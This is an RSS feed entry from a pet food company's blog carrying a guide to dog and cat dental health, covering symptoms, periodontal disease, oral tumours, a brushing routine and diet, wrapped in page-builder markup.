<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>dental care for dogs and cats | DawgieBowl</title>
	<atom:link href="https://dawgiebowl.com/blog/tag/dental-care-for-dogs-and-cats/feed/" rel="self" type="application/rss+xml" />
	<link>https://dawgiebowl.com</link>
	<description>The Super Food for Super Dogs</description>
	<lastBuildDate>Fri, 22 May 2026 17:06:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.18</generator>

<image>
	<url>https://dawgiebowl.com/wp-content/uploads/2017/02/cropped-pet-32x32.png</url>
	<title>dental care for dogs and cats | DawgieBowl</title>
	<link>https://dawgiebowl.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">117781141</site>	<item>
		<title>Pet Dental Health Guide: How to Take Care of Your Dog or Cat&#8217;s Oral Hygiene</title>
		<link>https://dawgiebowl.com/blog/pet-dental-health/</link>
		
		<dc:creator><![CDATA[Crystal Pereira]]></dc:creator>
		<pubDate>Fri, 01 Feb 2019 14:40:39 +0000</pubDate>
				<category><![CDATA[Pet Lifestyle]]></category>
		<category><![CDATA[advanced animal dentistry]]></category>
		<category><![CDATA[anesthesia free dental cleaning for dogs]]></category>
		<category><![CDATA[anesthesia free dog teeth cleaning near me]]></category>
		<category><![CDATA[animal dental care and oral surgery]]></category>
		<category><![CDATA[animal dental health]]></category>
		<category><![CDATA[animal dentist]]></category>
		<category><![CDATA[animal teeth]]></category>
		<category><![CDATA[are dogs mouths clean]]></category>
		<category><![CDATA[bad dog teeth]]></category>
		<category><![CDATA[best dental for dogs]]></category>
		<category><![CDATA[best dental products for dogs]]></category>
		<category><![CDATA[best dog dental care]]></category>
		<category><![CDATA[best dog dental products]]></category>
		<category><![CDATA[best for dogs teeth]]></category>
		<category><![CDATA[best oral care for dogs]]></category>
		<category><![CDATA[best products for dogs teeth]]></category>
		<category><![CDATA[brushing dogs teeth at home]]></category>
		<category><![CDATA[canine dental products]]></category>
		<category><![CDATA[canine teeth cleaning]]></category>
		<category><![CDATA[care for pets]]></category>
		<category><![CDATA[cat at the dentist]]></category>
		<category><![CDATA[cat care]]></category>
		<category><![CDATA[cat dental care]]></category>
		<category><![CDATA[cat dental cleaning]]></category>
		<category><![CDATA[cat dentist]]></category>
		<category><![CDATA[cat teeth cleaning]]></category>
		<category><![CDATA[cleaning a dogs teeth]]></category>
		<category><![CDATA[cleaning dogs teeth at home]]></category>
		<category><![CDATA[cleaning your dogs teeth]]></category>
		<category><![CDATA[dental care]]></category>
		<category><![CDATA[dental care cat food]]></category>
		<category><![CDATA[dental care dog food]]></category>
		<category><![CDATA[dental care for dogs and cats]]></category>
		<category><![CDATA[dental scaler for dogs]]></category>
		<category><![CDATA[dental treats for dogs]]></category>
		<category><![CDATA[dog canine teeth]]></category>
		<category><![CDATA[dog care]]></category>
		<category><![CDATA[dog cleaning]]></category>
		<category><![CDATA[dog dental care]]></category>
		<category><![CDATA[dog dental care products]]></category>
		<category><![CDATA[dog dental cleaning]]></category>
		<category><![CDATA[dog dentist]]></category>
		<category><![CDATA[dog dentition]]></category>
		<category><![CDATA[dog oral care]]></category>
		<category><![CDATA[dog pet care]]></category>
		<category><![CDATA[dog tartar]]></category>
		<category><![CDATA[dog teeth problems]]></category>
		<category><![CDATA[dog toothbrush]]></category>
		<category><![CDATA[dog toothpaste]]></category>
		<category><![CDATA[how to brush dogs teeth]]></category>
		<category><![CDATA[how to clean dogs teeth]]></category>
		<category><![CDATA[how to take care of a dog]]></category>
		<category><![CDATA[importance of dental care]]></category>
		<category><![CDATA[pet care]]></category>
		<category><![CDATA[pet dental]]></category>
		<category><![CDATA[teeth of the dog]]></category>
		<category><![CDATA[tooth anesthesia]]></category>
		<category><![CDATA[veterinary dentistry]]></category>
		<guid isPermaLink="false">http://dawgiebowl.com/?p=4816</guid>

					<description><![CDATA[<p>Dental health is an important aspect of your pet's well-being. Here's how you can ensure perfect oral hygiene for your dog or cat.</p>
<p>The post <a rel="nofollow" href="https://dawgiebowl.com/blog/pet-dental-health/">Pet Dental Health Guide: How to Take Care of Your Dog or Cat&#8217;s Oral Hygiene</a> appeared first on <a rel="nofollow" href="https://dawgiebowl.com">DawgieBowl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="et_pb_section et_pb_section_0 et_pb_fullwidth_section et_section_regular et_section_transparent" >
				
				
				
				
					<div id="PostHeader" class="et_pb_module et_pb_fullwidth_post_title_0 et_pb_section_parallax et_pb_post_title  et_pb_text_align_center et_pb_bg_layout_dark et_pb_image_below"   >
				<span class="et_parallax_bg_wrap"><span
						class="et_parallax_bg et_pb_parallax_css"
						style="background-image: url(http://dawgiebowl.com/wp-content/uploads/2019/01/Dog-Cat-brushing-Teeth-Dental-Health-Oral-Hygiene.jpg);"
					></span></span>
				
				
				<div class="et_pb_title_container">
					<h1 class="entry-title">Pet Dental Health Guide: How to Take Care of Your Dog or Cat&#8217;s Oral Hygiene</h1>
				</div>
				
			</div>
				
				
			</div> <!-- .et_pb_section --><div class="et_pb_section et_pb_section_1 et_section_regular" >
				
				
				
				
					<div class="et_pb_row et_pb_row_0">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child">
				
				
				<div class="et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				<div class="et_pb_text_inner"><p>Wide eyes, a wagging tail, and stinky breath. Is that your pet? Well, if you’re nodding yes, we hope you know that we’ve got a problem!</p>
<p>Dental Health is an aspect of a pet’s well-being that one may not take as seriously. But trust us, that stinky breath is a warning sign of something or everything that might be going wrong and needs immediate address. And whether you’re dealing with a stinky breath from your furriend at this moment or not, it’s about time you get serious, very serious about their dental health. Dental diseases are very common in dogs and cats. According to the AVMA, 80% of our dogs and 70% of cats are known to show signs of some kind of gum disease by the age of three.</p>
<p>February is Pet Dental Health Awareness Month, a good time for you to know all there is, and make it a ritual. We’ll try to tell you all you need to know about your pet’s teeth and how you can maintain oral hygiene for your best friend to the T.</p></div>
			</div> <!-- .et_pb_text --><div class="et_pb_module et_pb_code et_pb_code_0">
				
				
				<div class="et_pb_code_inner" data-et-multi-view="{&quot;schema&quot;:{&quot;content&quot;:{&quot;desktop&quot;:&quot;[rrssb buttons=\&quot;facebook, twitter, whatsapp, gplus, pinterest, linkedin, email\&quot;]&quot;,&quot;tablet&quot;:&quot;&quot;}},&quot;slug&quot;:&quot;et_pb_code&quot;}" data-et-multi-view-load-tablet-hidden="true">[rrssb buttons="facebook, twitter, whatsapp, gplus, pinterest, linkedin, email"]</div>
			</div> <!-- .et_pb_code --><div id="bodytext" class="et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				<div class="et_pb_text_inner"><h4>Importance of Oral Hygiene in Pets</h4>
<h6><em>Why take care of your dog or cat’s teeth</em></h6>
<p>Domestication has made our cats and dogs completely dependent on us for all their bodily needs. When out in the wild, our pawsome friends would feed on prey. The tearing of meat would provide them with the help their teeth needed to get rid of the plaque and tartar build-up. However, their habitat and diets have changed, making us their advocate and guardian.</p>
<p>How lightly we’ve taken our pet’s oral hygiene is evident from the fact that periodontal diseases (infections of the structures around the teeth) are among the most common health problems in dogs and cats. They begin in the mouth, but go on to affect other internal organs of your pet’s body.</p>
<p>But that’s not all. From palate defects to even cancer, a lot could be going on. Bad breath in your pooch is no laughing matter and simply turning your face away from it isn’t going to help.</p>
<p><img loading="lazy" title="Pet Dental Health Guide" src="http://dawgiebowl.com/wp-content/uploads/2019/01/Dog-Smiling-Pet-Dental-Health-Guide-In-Blog-Images.jpg" alt="Smiling Dog - Pet Dental Health Guide - Oral Hygiene Dental Care in pet dogs cats" width="890" height="450" /></p>
<h4>Symptoms of Dental Problems in Pets</h4>
<h6><em>Warning signs you must watch out for</em></h6>
<p>Being vigilant comes as a given for being a responsible pet-parent. If you haven’t ever looked inside your pet’s mouth, now is the time. You need to be on the watch for anything that appears abnormal. Do not hesitate to consult your vet regarding the slightest, smallest abnormalities. When it comes to our pet&#8217;s Dental Health, we’ve listed some warning signs that must not be ignored.</p>
<ol class="bollet">
<li><b>Bad Breath</b><br />
If you are a believer that the breath of your pet is supposed to smell foul, you have been mistaken. If face licks have turned intolerable, and you can’t help but hold your breath, know that something&#8217;s up.</li>
<li><b>Broken or Loose Teeth</b><br />
Breaking or loosening of permanent teeth is not common in dogs or cats. If your pet has a broken or loose tooth that is not from an injury, there is an underlying health issue that needs a diagnosis.</li>
<li><b>Discoloration of Teeth</b><br />
Just like you (we’re assuming), your dog or cat’s teeth also need to be pearly white. Think of the color they were when the permanent set grew in. They need to at least be largely white, if not completely. If you observe discoloration, even in a single tooth, time to go say hello to your vet.</li>
<li><b>Excessive Drooling</b><br />
Some dogs drool. Others don’t. A lot about how much drooling is normal will depend on your pet’s breed. Breeds like Mastiffs and Saint Bernards are known for drooling. But all dogs may drool from time to time. Usually when they are anticipating something like a walk, food or playtime. They could even drool when they are anxious. However, if you’ve been observant you should know your pet’s drooling pattern. If your pet has been drooling unreasonably it is a sign that they may be experiencing an underlying pain.</li>
<li><b>Abnormal Chewing</b><br />
Ever sat in adoration watching your dog or cat devour <a href="/" target="_blank" rel="noopener noreferrer">his favorite bowl of food</a>? Unarguably the most satisfying feeling ever. Now, if you see your pet chewing abnormally, they could be doing so to soothe irritation in their mouth. And that&#8217;s definitely not something to Aww over.</li>
<li><b>Reduced Appetite</b><br />
Even the greatest of gluttons will succumb to a toothache. They would want to avoid the whole process of having to chew or swallow food. It’s the same with pets. A sudden drop in appetite is never a good sign.</li>
<li><b>Swelling in and around the mouth</b><br />
Swelling should ideally be observable. If you see the insides (tongue or gums) or outsides of your pet’s mouth swelling up, it is a cause of concern. This swelling may be accompanied with drooling, bad breath or any of the above signs.</li>
<li><b>Bleeding from the mouth</b><br />
If you’ve observed or have been observing bleeding in or from your pet’s mouth, we really hope you’ve visited the vet already. Bleeding is never normal and could be a sign of the most nightmarish of issues you could expect.</li>
</ol>
<p>A lot of the above symptoms may usually show up in combinations. But they must not be ignored even on their own.</p>
<h4>Causes of Dental Issues &amp; Diseases in Pets</h4>
<h6><em>What could be going wrong?</em></h6>
<p>If you’ve been lax about your pet’s dental hygiene to a point where any of the above symptoms have manifested, there’s a lot that could be up. Only a qualified veterinarian can be of utmost help to you. However, we’ve put down some common diseases that could be behind the pain and discomfort that your pet has been experiencing.</p>
<h6>Periodontal Diseases</h6>
<p>As we spoke about above, Periodontal Diseases are the most common health condition in dogs and cats. About 80% dogs and 70% cats will develop signs of these by 3 years of age if their dental health is neglected.</p>
<p><b>What exactly are Periodontal Diseases?</b><br />
When the buildup of plaque is not eliminated through brushing, <a href="https://en.wikipedia.org/wiki/Calculus_(dental)" target="_blank" rel="noopener noreferrer">tartar</a> is formed. Tartar (or calculus) sticks firmly to the teeth and can be clearly seen. The issue begins when this tartar penetrates under the gumline. They start causing damage to the tissues supporting the teeth which leads to loosening or breaking of teeth. This tartar under the gumline also releases toxins, which cause the pet’s immune system to respond. The white blood cells try to eliminate the toxins. But instead, end up causing damage to the surrounding tissues.</p>
<p>Effects of periodontal diseases within the oral cavity include damage or loss of gum tissue and bones around the teeth, development of a hole or fistula from the oral cavity to the nasal passage causing nasal discharge, weakening or fractures of the jaw, and bone infection. Bacteria from the mouth can also enter the bloodstream and cause microscopic changes to the liver, kidneys, and heart.</p></div>
			</div> <!-- .et_pb_text -->
			</div> <!-- .et_pb_column -->
				
				
			</div> <!-- .et_pb_row --><div class="et_pb_row et_pb_row_1 et_pb_gutters1">
				<div class="et_pb_column et_pb_column_1_3 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough">
				
				
				<div class="et_pb_module et_pb_image et_pb_image_0 et_pb_image_sticky">
				
				
				<span class="et_pb_image_wrap "><img loading="lazy" src="http://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06.png" alt="Normal Tooth &amp; Gums - Pet Dental Health Guide - Oral Hygiene Dental Care in pet dogs cats - Signs of Periodontal Diseases" title="Normal Tooth &amp; Gums" height="auto" width="auto" srcset="https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06.png 1250w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-150x150.png 150w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-300x300.png 300w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-768x768.png 768w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-1024x1024.png 1024w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-1080x1080.png 1080w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-800x800.png 800w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-630x630.png 630w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-06-600x600.png 600w" sizes="(max-width: 1250px) 100vw, 1250px" class="wp-image-4829" /></span>
			</div><div class="et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_center et_pb_bg_layout_dark">
				
				
				<div class="et_pb_text_inner"><p>Fig 1: Normal Tooth &amp; Gums</p></div>
			</div> <!-- .et_pb_text -->
			</div> <!-- .et_pb_column --><div class="et_pb_column et_pb_column_1_3 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough">
				
				
				<div class="et_pb_module et_pb_image et_pb_image_1 et_pb_image_sticky">
				
				
				<span class="et_pb_image_wrap "><img loading="lazy" src="http://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07.png" alt="Gingivitis - Pet Dental Health Guide - Oral Hygiene Dental Care in pet dogs cats - Signs of Periodontal Diseases" title="Stages of Periodontal Diseases - Gingivitis " height="auto" width="auto" srcset="https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07.png 1250w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-150x150.png 150w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-300x300.png 300w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-768x768.png 768w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-1024x1024.png 1024w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-1080x1080.png 1080w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-800x800.png 800w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-630x630.png 630w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-07-600x600.png 600w" sizes="(max-width: 1250px) 100vw, 1250px" class="wp-image-4830" /></span>
			</div><div class="et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_center et_pb_bg_layout_dark">
				
				
				<div class="et_pb_text_inner"><p>Fig 2: Gingivitis</p></div>
			</div> <!-- .et_pb_text -->
			</div> <!-- .et_pb_column --><div class="et_pb_column et_pb_column_1_3 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child">
				
				
				<div class="et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky">
				
				
				<span class="et_pb_image_wrap "><img loading="lazy" src="http://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08.png" alt="Periodontitis - Pet Dental Health Guide - Oral Hygiene Dental Care in pet dogs cats - Signs of Periodontal Diseases" title="Stages of Periodontal Diseases - Periodontitis" height="auto" width="auto" srcset="https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08.png 1250w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-150x150.png 150w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-300x300.png 300w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-768x768.png 768w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-1024x1024.png 1024w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-1080x1080.png 1080w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-800x800.png 800w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-630x630.png 630w, https://dawgiebowl.com/wp-content/uploads/2019/02/Stages-of-Periodontal-Diseases-Pet-Dental-Health-Guide-In-Blog-Images-08-600x600.png 600w" sizes="(max-width: 1250px) 100vw, 1250px" class="wp-image-4831" /></span>
			</div><div class="et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_center et_pb_bg_layout_dark">
				
				
				<div class="et_pb_text_inner"><p>Fig 3: Periodontitis</p></div>
			</div> <!-- .et_pb_text -->
			</div> <!-- .et_pb_column -->
				
				
			</div> <!-- .et_pb_row --><div class="et_pb_row et_pb_row_2">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough et-last-child">
				
				
				<div id="bodytext" class="et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				<div class="et_pb_text_inner"><p>Prognosis of periodontal diseases isn’t the best. And often times it&#8217;s too late and the severity of the disease has multiplied. Know that if your dog has misaligned teeth, the possibility of contracting a periodontal disease increases. <a href="https://en.wikipedia.org/wiki/Gingivitis" target="_blank" rel="noopener noreferrer">Gingivitis</a> (inflammation/reddening of gums) and <a href="https://en.wikipedia.org/wiki/Aggressive_periodontitis" target="_blank" rel="noopener noreferrer">Periodontitis</a> (loss of bone and soft tissue around the teeth) are the two common types of periodontal diseases.</p>
<p>Treatment may include a professional dental cleaning to remove the tartar and plaque build-up. Dental Radiographs may be done to understand the extent of the damage. If Periodontitis is identified, different treatments may be used to save the teeth, while severely affected ones may be extracted. Note that general anesthesia may be administered in all these methods.</p>
<h6>Oral Cysts or Tumors</h6>
<p>An adult dog is supposed to have 42 teeth and an adult cat, 30. If your pet has a tooth missing which hasn’t been extracted, there are two possibilities. Either the teeth did not develop at all, or is still unerupted or impacted under the gums. Sometimes when a tooth is unerupted, it lies dormant and nothing happens. However, other times the tooth can develop an oral cyst.</p>
<p>A cyst is a fluid-filled sac. Cysts can be cancerous or non-cancerous. But in either case they require proper diagnosis and treatment. Generally considered benign in the sense that they do not affect other tissues, oral cysts can destroy teeth and weaken the jaw enough to cause a fracture.</p>
<p>The treatment of oral cysts involves the complete surgical removal of the cyst. Your veterinarian may later have a biopsy of the cyst done to rule out oral melanoma or other life-threatening conditions. The surrounding teeth may also be examined during the time of surgery. A root canal may follow.</p>
<p>Other oral masses around the lips, tongue, gums or surrounding lymph regions are not all cancerous. But the ones that are, can grow malignant and even be fatal if not treated early and aggressively.</p>
<blockquote><p><b>While any pet may develop oral masses, breeds like Golden Retrievers, Saint Bernards, and Cocker Spaniels are genetically predisposed.</b></p></blockquote>
<p>Treatment of these masses involve a biopsy to examine if it is cancerous, and to what extent it has spread if it is. It may be followed by surgical removal. If the situation has escalated, radiation and chemotherapy may be needed along with the surgery.</p>
<h4>An Ideal Dental Care Routine</h4>
<h6><em>How to take care of your dog or cat&#8217;s teeth</em></h6>
<p>Dental Care is not a periodic activity, you can only make the best out of it by establishing a routine. Having a dental care routine is as essential as feeding your pet the right food and exercising them enough. Here’s what your routine should consist of and how you can introduce your pet to it.</p>
<p>There are two musts to a basic dental care routine &#8211; Brushing at Home and Dental Clean-ups:</p>
<ol>
<li>Visit your vet for a dental check-up periodically. Have them examine your pet’s mouth for signs of periodontal diseases or any other cause of concern. Ensure you have an oral examination during every vet visit.</li>
<li>Get a pet toothbrush. One with soft bristles or a finger brush should do. Also get a pet toothpaste. You cannot use your own toothpaste to brush your pet’s teeth. The Fluoride in human toothpaste can cause diarrhea, while <a href="http://dawgiebowl.com/blog/your-toothpaste-can-kill-your-dog/" target="_blank" rel="noopener noreferrer">Xylitol in it can even be fatal</a>. Leave the dawgie toothpaste out for a day or two to let your pet smell and get comfortable with it.</li>
<li>Take some toothpaste on the brush and let them taste it. Reward them with a treat and appreciation after. The goal is to establish letting you use the toothbrush and toothpaste on them as reward-worthy.</li>
<li>After you’re successful with the previous step, you can introduce them to the sensation of brushing. Pull their lips back and stroke the sides for good access. Don’t make the routine too long initially. You may not be able to reach the innermost parts on the first day itself and that’s alright. Continue this for a couple of days.</li>
<li>Once your pet is used to having his teeth brushed, you can go ahead with a thorough brushing. Don’t let the process exceed 30 seconds. Remember to keep it fun to build a routine.</li>
</ol>
<p>Now that your pet is used to having his teeth brushed, follow the routine at least 2-3 times a week.</p>
<p><img loading="lazy" title="Pet Dental Health Guide" src="http://dawgiebowl.com/wp-content/uploads/2019/01/Dog-Toothbrush-Dog-Toothpaste-Pet-Dental-Health-Guide-In-Blog-Images.jpg" alt="Dog Cat Toothbrush Toothpaste - Pet Dental Health Guide - Oral Hygiene Dental Care in pet dogs cats" width="890" height="450" /></p>
<p>Along with regular brushing, you must take your pet to the vet for dental clean-up once a year. During this clean-up, your vet will perform a thorough cleaning of the accumulated plaque. This clean-up will be done under general anesthesia, however, your pet should be up on their feet within 10-15 minutes of the procedure. After the clean-up, you must not resume regular brushing for about 10 days.</p>
<h4>Pet Food and Dental Health</h4>
<p>Food plays an important role in your pet’s dental health upkeep. A common misconception is that if your pet is feeding on a dry kibble diet, their oral hygiene will be maintained already. If you’ve observed your pet eat, you know that most pets tend to quickly swallow the food without really chewing well. This eliminates any possibility of dry pet food providing any help to oral hygiene. Gravy based pet foods tend to stick to your pet’s teeth and insides of the mouth, causing decay.</p>
<p>You may have also come across a lot of dental-care products for your pet, like dental chews. Some may even suggest rawhide as a good way to keep your pet’s dental health in check. However, a simple web search will tell you their ingredients and how these products are made. And we bet you will never want to let them be even near your love.</p>
<p>A good, natural and safe alternative to these are raw bones and crunchy vegetables like carrots and green beans. Refrain from giving your pet cooked bones, as they may splinter and hurt them or cause a choking hazard. You can also bring in some chewtoys or rope-toys for your pet to play with or DIY them.</p>
<p>It is important for your pet to feed on a mix of real food and natural chewables to ensure that they get a balanced and nutritious diet while maintaining perfect oral hygiene.</p></div>
			</div> <!-- .et_pb_text --><div class="et_pb_module et_pb_code et_pb_code_1">
				
				
				<div class="et_pb_code_inner" data-et-multi-view="{&quot;schema&quot;:{&quot;content&quot;:{&quot;desktop&quot;:&quot;[rrssb buttons=\&quot;facebook, twitter, whatsapp, gplus, pinterest, linkedin, email\&quot;]&quot;,&quot;tablet&quot;:&quot;&quot;}},&quot;slug&quot;:&quot;et_pb_code&quot;}" data-et-multi-view-load-tablet-hidden="true">[rrssb buttons="facebook, twitter, whatsapp, gplus, pinterest, linkedin, email"]</div>
			</div> <!-- .et_pb_code --><div class="et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				<div class="et_pb_text_inner"><p>Oral Hygiene is super important for your pet&#8217;s dental health. Even the simplest signs of periodontal diseases or other oral issues cannot be neglected. Brush your pet&#8217;s teeth regularly, using only a pet-safe toothpaste. Human toothpaste is toxic and must be out of your dawgie&#8217;s reach at all times. Ensure that your pet eats a real, healthy and balanced diet and drinks ample water. Stay clear of synthetic preparations marketed as dental-care products. It doesn&#8217;t take a lot to care for your dog or cat&#8217;s teeth. But failing to take proper care can result in a lot of pain and suffering. And neither you nor your furry baby deserves it!</p></div>
			</div> <!-- .et_pb_text --><div class="et_pb_module et_pb_code et_pb_code_2">
				
				
				<div class="et_pb_code_inner"><div class="fb-background-color">
		  <div 
		  	class = "fb-comments" 
		  	data-href = "https://dawgiebowl.com/blog/pet-dental-health/"
		  	data-numposts = "10"
			data-lazy = "true"
			data-colorscheme = "light"
			data-order-by = "reverse_time"
			data-mobile=true>
		  </div></div>
		  <style>
		  	.fb-background-color {
				background: #ffffff !important;
			}
			.fb_iframe_widget_fluid_desktop iframe {
			    width: 100% !important;
			}
		  </style>
		  
<br>
<p style="font-size:11px; color:#a9a9a9; text-align: justify;">
<b>FOR INFORMATION ONLY – NOT VETERINARY CARE</b><br>
DawgieBowl operates this online information and opinion blog for educational and entertainment purposes only. The contents of this blog are researched from popular journals & books, online articles, and research papers. DawgieBowl does not claim ownership to the images or videos on the blog unless mentioned. Images or videos are collected from the public domain, and the rights to them lie with the photographer or copyright owner. By reading this blog or using any of the information you expressly acknowledge and understand that there are risks and limitations associated with any advice, recipes, formulas, and/or products suggested or endorsed. DawgieBowl, its parent entities, and stakeholders are not responsible for any loss, injury, claim, liability, or damage related to your use of this website, or any other site or product linked to this website, whether from errors or omissions in the content of our website or any other linked site, from downtime on the website or from any other use of this blog.
<br>
The content of this blog is NOT intended to substitute professional veterinary advice, diagnosis, or treatment. If your pet is sick, injured, or in need of medical attention, please contact your veterinarian or local emergency animal hospital immediately. Never disregard professional veterinary advice or delay in seeking it because of something you have read on this website.</div>
			</div> <!-- .et_pb_code -->
			</div> <!-- .et_pb_column -->
				
				
			</div> <!-- .et_pb_row -->
				
				
			</div> <!-- .et_pb_section --><div class="et_pb_section et_pb_section_3 et_pb_with_background et_pb_fullwidth_section et_section_regular" >
				
				
				
				
					<section id="pageCTA" class="et_pb_module et_pb_fullwidth_header et_pb_fullwidth_header_0 et_hover_enabled et_pb_section_parallax et_pb_text_align_center et_pb_bg_layout_light">
				<span class="et_parallax_bg_wrap"><span
						class="et_parallax_bg"
						style="background-image: url(http://dawgiebowl.com/wp-content/uploads/2017/01/DawgieBowl-healthy-dog-food-best-pet-food-for-dogs-elements-bg.png);"
					></span></span>
				
				<div class="et_pb_fullwidth_header_container center">
					<div class="header-content-container center">
					<div class="header-content">
						
						<h3 class="et_pb_module_header">Real food made from real ingredients and with real love</h3>
						<span class="et_pb_fullwidth_header_subhead">Commit to your baby's happiness</span>
						<div class="et_pb_header_content_wrapper"></div>
						<a class="et_pb_button et_pb_more_button et_pb_button_one" href="/start">Get Started</a>
					</div>
				</div>
					
				</div>
				<div class="et_pb_fullwidth_header_overlay"></div>
				<div class="et_pb_fullwidth_header_scroll"></div>
			</section>
				
				
			</div> <!-- .et_pb_section --><div class="et_pb_section et_pb_section_5 et_section_regular et_section_transparent" >
				
				
				
				
					<div class="et_pb_row et_pb_row_3">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough et-last-child">
				
				
				<div class="et_pb_module et_pb_code et_pb_code_3">
				
				
				<div class="et_pb_code_inner">

<!-- Jetpack Related Posts is not supported in this context. -->

</div>
			</div> <!-- .et_pb_code -->
			</div> <!-- .et_pb_column -->
				
				
			</div> <!-- .et_pb_row -->
				
				
			</div> <!-- .et_pb_section --><div class="et_pb_section et_pb_section_6 et_pb_with_background et_section_regular" >
				
				
				
				
					<div class="et_pb_row et_pb_row_5">
				<div class="et_pb_column et_pb_column_1_3 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough">
				
				
				<div class="et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_justified et_pb_bg_layout_dark">
				
				
				<div class="et_pb_text_inner"><h4>Don't miss an update!</h4>
<p>Subscribe to delicious news, canine nutrition and lifestyle tips and new blogs.</p></div>
			</div> <!-- .et_pb_text -->
			</div> <!-- .et_pb_column --><div class="et_pb_column et_pb_column_2_3 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child">
				
				
